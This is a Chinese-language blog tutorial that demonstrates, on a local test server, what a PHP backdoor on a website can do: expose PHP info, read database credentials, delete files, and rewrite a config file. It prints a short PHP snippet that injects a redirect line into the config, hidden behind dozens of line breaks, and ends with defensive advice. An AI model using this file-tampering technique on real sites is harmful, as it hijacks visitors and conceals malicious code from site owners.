今天来聊一聊服务器安全的问题。这几天一直在着手服务器攻防问题,修复一些漏洞,写代码的人真的要注意安全问题。千万不要相信用户的输入!今天用PHP 代码展示一下危险。
测试准备
为了模拟,我在本地搭建了服务器环境,展示一个正常网站如何被攻击。
首先修改电脑本地host文件。改了之后就可以用test.com
虚拟域名访问本地文件了。文件目录在“C:\Windows\System32\drivers\etc
”
网站目录很简单,如下:
在网站入口中,引用了数据库配置文件,然后输出一句话来模拟网站首页。
在数据库配置文件中,我参照当前流行的框架ThinkPHP数据库配置文件,返回一个数据库基本信息数组,包括数据库的端口和密码。
接下来就是我们的重头戏,黑客后门文件。
你可能会觉得,就这?就这几行代码能干什么?
开始模拟攻击
我们访问一下我们的网站
网站可以正常访问,没有任何问题
访问一下黑客文件,好像也没有问题
1、输出php版本信息
现在黑客已经知道你后台php版本,装了那些插件,数据库用的是什么数据库
2、网页重定向
可以跳转到 百度了,这表示,黑客已经搭好了一个运行代码的环境。现在通过你的网站,已经可以随便写一行代码都可以执行了
3、读取数据库配置信息
已经把你的密码什么的都弄到手了,你的网站什么数据,都可以修改了,怕不怕。甚至可以“删库跑路
”!!
4、删除文件
看:1.txt
文件被删除了
可以删除你网站上的文件了
5、修改文件
?config=
// 读取数据库配置文件
$info=file_get_contents("Conf/db.php");
// 设置很多个换行符号
$change=str_repeat("\r\n",50);
// 用空格代替<?php
$file= str_replace("<?php","",$info);
// 你想添加的任何功能都可以写在下面
$extCode="header('location:http://www.baidu.com');";
...
// 最后组合起来,保存回去
file_put_contents("Conf/db.php","<?php".$change.$extCode.$file);
来看看你的db.php文件是怎么改变的
在文件头加入很多换行,你以为文件是空的,其实他已经在文件里加入一行跳转代码,无论别人怎么访问你的网站.都会跳到他写的网站去
攻击 End
看完是不是大吃一惊?别慌:我们要如何防备呢?
- 不要相信用户的输入!不要相信用户的输入!不要相信用户的输入!
- 在获取用户输入前一定要做过滤处理;
- 在服务器上,设置文件的权限,不要每个文件都可以执行脚本权限;
- 或者增加防篡改功能;
- 或者修改你服务器的安全组,修改22,21等默认端口,不要端口全开;
- 对整个站点进行扫描木马。
😜😜😜😜😜😜😜
祝你生活愉快,好好学习、抵挡一切不怀好意的攻击!
😜😜😜😜😜😜😜